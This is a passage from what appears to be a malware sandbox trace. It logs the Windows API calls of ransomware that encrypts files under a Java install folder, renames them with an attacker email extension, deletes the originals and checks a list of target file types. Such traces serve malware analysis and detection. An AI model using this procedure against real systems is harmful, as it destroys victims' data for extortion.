Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0094.783] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7805) returned 1 [0094.783] CloseHandle (hObject=0x364) returned 1 [0094.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0094.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0094.783] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0094.783] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0094.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0094.784] GetLastError () returned 0x0 [0094.784] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0094.787] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1e80, lpOverlapped=0x0) returned 1 [0094.788] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0094.788] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0094.789] SetEndOfFile (hFile=0x368) returned 1 [0094.789] CloseHandle (hObject=0x368) returned 1 [0094.790] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0094.790] SetEndOfFile (hFile=0x364) returned 1 [0094.791] CloseHandle (hObject=0x364) returned 1 [0094.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0094.791] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0094.791] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.791] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.791] lstrlenW (lpString=".doc") returned 4 [0094.791] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0094.791] lstrlenW (lpString=".docx") returned 5 [0094.791] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0094.791] lstrlenW (lpString=".pdf") returned 4 [0094.791] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0094.791] lstrlenW (lpString=".xls") returned 4 [0094.791] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0094.791] lstrlenW (lpString=".xlsx") returned 5 [0094.791] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0094.791] lstrlenW (lpString=".ppt") returned 4 [0094.792] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0094.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.792] lstrlenW (lpString=".zip") returned 4 [0094.792] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0094.792] lstrlenW (lpString=".rar") returned 4 [0094.792] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0094.792] lstrlenW (lpString=".bz2") returned 4 [0094.792] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0094.792] lstrlenW (lpString=".7z") returned 3 [0094.792] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0094.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.792] lstrlenW (lpString=".dbf") returned 4 [0094.792] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0094.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.792] lstrlenW (lpString=".1cd") returned 4 [0094.792] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0094.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.792] lstrlenW (lpString=".jpg") returned 4 [0094.792] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0094.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.792] lstrlenW (lpString=".doc") returned 4 [0094.792] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0094.792] lstrlenW (lpString=".docx") returned 5 [0094.792] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0094.792] lstrlenW (lpString=".pdf") returned 4 [0094.792] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0094.792] lstrlenW (lpString=".xls") returned 4 [0094.792] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0094.792] lstrlenW (lpString=".xlsx") returned 5 [0094.792] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0094.793] lstrlenW (lpString=".ppt") returned 4 [0094.793] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0094.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.793] lstrlenW (lpString=".zip") returned 4 [0094.793] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0094.793] lstrlenW (lpString=".rar") returned 4 [0094.793] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0094.793] lstrlenW (lpString=".bz2") returned 4 [0094.793] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0094.793] lstrlenW (lpString=".7z") returned 3 [0094.793] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0094.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.793] lstrlenW (lpString=".dbf") returned 4 [0094.793] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0094.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.793] lstrlenW (lpString=".1cd") returned 4 [0094.793] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0094.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0094.793] lstrlenW (lpString=".jpg") returned 4 [0094.793] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0094.793] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0094.793] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0094.793] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0094.794] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=12250) returned 1 [0094.794] CloseHandle (hObject=0x364) returned 1 [0094.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0094.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0094.794] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0094.794] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0094.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0094.794] GetLastError () returned 0x0 [0094.794] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x2fda, lpOverlapped=0x0) returned 1 [0094.796] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0094.797] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0094.797] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xfc, lpOverlapped=0x0) returned 1 [0094.797] SetEndOfFile (hFile=0x368) returned 1 [0094.798] CloseHandle (hObject=0x368) returned 1 [0094.802] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0094.802] SetEndOfFile (hFile=0x364) returned 1 [0094.803] CloseHandle (hObject=0x364) returned 1 [0094.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0094.803] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0094.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.803] lstrlenW (lpString=".doc") returned 4 [0094.804] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0094.804] lstrlenW (lpString=".docx") returned 5 [0094.804] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0094.804] lstrlenW (lpString=".pdf") returned 4 [0094.804] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0094.804] lstrlenW (lpString=".xls") returned 4 [0094.804] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0094.804] lstrlenW (lpString=".xlsx") returned 5 [0094.804] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0094.804] lstrlenW (lpString=".ppt") returned 4 [0094.804] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0094.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.804] lstrlenW (lpString=".zip") returned 4 [0094.804] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0094.804] lstrlenW (lpString=".rar") returned 4 [0094.804] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0094.804] lstrlenW (lpString=".bz2") returned 4 [0094.804] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0094.804] lstrlenW (lpString=".7z") returned 3 [0094.804] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0094.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.804] lstrlenW (lpString=".dbf") returned 4 [0094.804] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0094.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.804] lstrlenW (lpString=".1cd") returned 4 [0094.804] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0094.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.804] lstrlenW (lpString=".jpg") returned 4 [0094.804] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0094.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.805] lstrlenW (lpString=".doc") returned 4 [0094.805] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0094.805] lstrlenW (lpString=".docx") returned 5 [0094.805] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0094.805] lstrlenW (lpString=".pdf") returned 4 [0094.805] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0094.805] lstrlenW (lpString=".xls") returned 4 [0094.805] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0094.805] lstrlenW (lpString=".xlsx") returned 5 [0094.805] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0094.805] lstrlenW (lpString=".ppt") returned 4 [0094.805] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0094.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.805] lstrlenW (lpString=".zip") returned 4 [0094.805] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0094.805] lstrlenW (lpString=".rar") returned 4 [0094.805] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0094.805] lstrlenW (lpString=".bz2") returned 4 [0094.805] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0094.805] lstrlenW (lpString=".7z") returned 3 [0094.805] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0094.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.805] lstrlenW (lpString=".dbf") returned 4 [0094.805] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0094.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.805] lstrlenW (lpString=".1cd") returned 4 [0094.805] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0094.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0094.805] lstrlenW (lpString=".jpg") returned 4 [0094.805] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0094.806] Sleep (dwMilliseconds=0x64) [0095.110] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0095.110] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0095.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.111] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=168) returned 1 [0095.111] CloseHandle (hObject=0x34c) returned 1 [0095.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0095.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.197] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.197] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.197] GetLastError () returned 0x0 [0095.197] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xa8, lpOverlapped=0x0) returned 1 [0095.198] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xb0, lpOverlapped=0x0) returned 1 [0095.199] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0095.200] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x102, lpOverlapped=0x0) returned 1 [0095.200] SetEndOfFile (hFile=0x35c) returned 1 [0095.200] CloseHandle (hObject=0x35c) returned 1 [0095.201] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.201] SetEndOfFile (hFile=0x34c) returned 1 [0095.202] CloseHandle (hObject=0x34c) returned 1 [0095.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.202] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0095.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.202] lstrlenW (lpString=".doc") returned 4 [0095.202] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.203] lstrlenW (lpString=".docx") returned 5 [0095.203] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.203] lstrlenW (lpString=".pdf") returned 4 [0095.203] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.203] lstrlenW (lpString=".xls") returned 4 [0095.203] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.203] lstrlenW (lpString=".xlsx") returned 5 [0095.203] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.203] lstrlenW (lpString=".ppt") returned 4 [0095.203] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.203] lstrlenW (lpString=".zip") returned 4 [0095.203] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.203] lstrlenW (lpString=".rar") returned 4 [0095.203] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.203] lstrlenW (lpString=".bz2") returned 4 [0095.203] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.203] lstrlenW (lpString=".7z") returned 3 [0095.203] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.203] lstrlenW (lpString=".dbf") returned 4 [0095.203] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.203] lstrlenW (lpString=".1cd") returned 4 [0095.203] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.203] lstrlenW (lpString=".jpg") returned 4 [0095.203] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.204] lstrlenW (lpString=".doc") returned 4 [0095.204] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.204] lstrlenW (lpString=".docx") returned 5 [0095.204] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.204] lstrlenW (lpString=".pdf") returned 4 [0095.204] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.204] lstrlenW (lpString=".xls") returned 4 [0095.204] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.204] lstrlenW (lpString=".xlsx") returned 5 [0095.204] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.204] lstrlenW (lpString=".ppt") returned 4 [0095.204] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.204] lstrlenW (lpString=".zip") returned 4 [0095.204] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.204] lstrlenW (lpString=".rar") returned 4 [0095.204] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.204] lstrlenW (lpString=".bz2") returned 4 [0095.204] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.204] lstrlenW (lpString=".7z") returned 3 [0095.204] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.204] lstrlenW (lpString=".dbf") returned 4 [0095.204] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.204] lstrlenW (lpString=".1cd") returned 4 [0095.204] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0095.204] lstrlenW (lpString=".jpg") returned 4 [0095.204] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.205] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0095.205] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0095.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 